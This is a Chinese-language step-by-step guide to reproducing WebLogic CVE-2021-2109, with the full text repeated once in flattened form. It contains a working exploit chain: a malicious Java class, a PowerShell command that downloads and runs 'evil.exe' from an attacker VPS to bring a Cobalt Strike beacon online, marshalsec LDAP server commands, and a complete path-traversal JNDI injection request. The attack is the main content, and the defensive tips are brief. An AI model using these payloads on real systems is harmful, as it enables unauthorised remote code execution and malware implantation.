weblogicCVE-2021-2109ldap远程代码执行漏洞复现(从weblogic环境搭建到漏洞复现CS上线)
字数 1435 2025-08-15 21:33:50

WebLogic CVE-2021-2109 LDAP远程代码执行漏洞复现指南

漏洞概述

CVE-2021-2109是Oracle WebLogic Server中的一个高危漏洞,结合LDAP注入实现远程代码执行。该漏洞通常与CVE-2020-14882(未授权访问漏洞)结合使用,可在未授权情况下实现远程命令执行。

环境准备

1. WebLogic环境搭建

下载链接

  • WebLogic 10.3.6安装包:https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
  • JDK 7(与WebLogic 10.3.6兼容):https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

安装步骤

  1. 安装JDK并配置环境变量
  2. 执行WebLogic安装命令:
    java -D64 -jar wls1036_generic.jar
    
  3. 设置安装路径(默认建议:C:\Oracle\Middleware\user_projects\domains
  4. 设置管理员密码
  5. 完成安装后,访问控制台验证是否安装成功

2. 工具准备

  1. marshalsec LDAP服务器

    • 下载地址:https://github.com/RandomRobbieBF/marshalsec-jar/archive/master.zip
    • 用于搭建恶意的LDAP服务器
  2. Cobalt Strike(CS)(可选):

    • 用于接收反弹shell(如果需要进行渗透测试)

漏洞复现步骤

1. 构造恶意Java类

创建一个名为Request.java的文件,内容如下:

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Request {
    public Request() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
}

修改说明

  • 如需上线CS,将calc.exe替换为CS木马下载执行命令:
    cd ../../Windows/Temp && powershell (new-object System.Net.WebClient).DownloadFile('http://vps/123.jpg','evil.exe') & evil.exe
    

2. 编译Java类

使用与目标环境相同版本的JDK进行编译:

javac Request.java

编译后将生成的Request.class文件上传到VPS的Web目录下。

3. 启动HTTP服务

在VPS上启动HTTP服务,确保Request.class可通过HTTP访问:

python3 -m http.server 80

4. 启动LDAP服务

使用marshalsec启动恶意的LDAP服务器:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-vps-ip/#Request" 5005

5. 构造并发送攻击请求

使用Burp Suite构造以下POST请求:

POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1
Host: 目标IP:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.2
Content-Length: 163
Content-Type: application/x-www-form-urlencoded

_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22;ldap://your-vps-ip:5005/Request;AdminServer%22)

关键点说明

  • %252e%252e%252f是URL编码后的../,用于目录遍历
  • LDAP地址ldap://your-vps-ip:5005/Request指向恶意LDAP服务器
  • AdminServer是WebLogic默认的服务器名称

6. 结果验证

  • 如果使用calc.exe,目标服务器将弹出计算器
  • 如果使用CS木马,CS将接收到反弹的shell

限制条件

  1. 目标服务器必须能够出网(访问外部LDAP和HTTP服务)
  2. 需要正确构造和发送攻击数据包
  3. 目标WebLogic版本需存在漏洞(通常为10.3.6.0.0及以下版本)

防御建议

  1. 及时更新WebLogic到最新版本
  2. 限制WebLogic控制台的访问权限
  3. 配置网络防火墙规则,限制不必要的出站连接
  4. 监控异常的LDAP和JNDI请求

总结

本漏洞利用WebLogic的JNDI注入和未授权访问漏洞,通过LDAP协议实现远程代码执行。复现过程中需注意JDK版本匹配、网络可达性以及攻击载荷的构造。在实际渗透测试中,应确保获得合法授权后再进行测试。

WebLogic CVE-2021-2109 LDAP远程代码执行漏洞复现指南 漏洞概述 CVE-2021-2109是Oracle WebLogic Server中的一个高危漏洞,结合LDAP注入实现远程代码执行。该漏洞通常与CVE-2020-14882(未授权访问漏洞)结合使用,可在未授权情况下实现远程命令执行。 环境准备 1. WebLogic环境搭建 下载链接 : WebLogic 10.3.6安装包:https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html JDK 7(与WebLogic 10.3.6兼容):https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html 安装步骤 : 安装JDK并配置环境变量 执行WebLogic安装命令: 设置安装路径(默认建议: C:\Oracle\Middleware\user_projects\domains ) 设置管理员密码 完成安装后,访问控制台验证是否安装成功 2. 工具准备 marshalsec LDAP服务器 : 下载地址:https://github.com/RandomRobbieBF/marshalsec-jar/archive/master.zip 用于搭建恶意的LDAP服务器 Cobalt Strike(CS) (可选): 用于接收反弹shell(如果需要进行渗透测试) 漏洞复现步骤 1. 构造恶意Java类 创建一个名为 Request.java 的文件,内容如下: 修改说明 : 如需上线CS,将 calc.exe 替换为CS木马下载执行命令: 2. 编译Java类 使用与目标环境相同版本的JDK进行编译: 编译后将生成的 Request.class 文件上传到VPS的Web目录下。 3. 启动HTTP服务 在VPS上启动HTTP服务,确保 Request.class 可通过HTTP访问: 4. 启动LDAP服务 使用marshalsec启动恶意的LDAP服务器: 5. 构造并发送攻击请求 使用Burp Suite构造以下POST请求: 关键点说明 : %252e%252e%252f 是URL编码后的 ../ ,用于目录遍历 LDAP地址 ldap://your-vps-ip:5005/Request 指向恶意LDAP服务器 AdminServer 是WebLogic默认的服务器名称 6. 结果验证 如果使用 calc.exe ,目标服务器将弹出计算器 如果使用CS木马,CS将接收到反弹的shell 限制条件 目标服务器必须能够出网(访问外部LDAP和HTTP服务) 需要正确构造和发送攻击数据包 目标WebLogic版本需存在漏洞(通常为10.3.6.0.0及以下版本) 防御建议 及时更新WebLogic到最新版本 限制WebLogic控制台的访问权限 配置网络防火墙规则,限制不必要的出站连接 监控异常的LDAP和JNDI请求 总结 本漏洞利用WebLogic的JNDI注入和未授权访问漏洞,通过LDAP协议实现远程代码执行。复现过程中需注意JDK版本匹配、网络可达性以及攻击载荷的构造。在实际渗透测试中,应确保获得合法授权后再进行测试。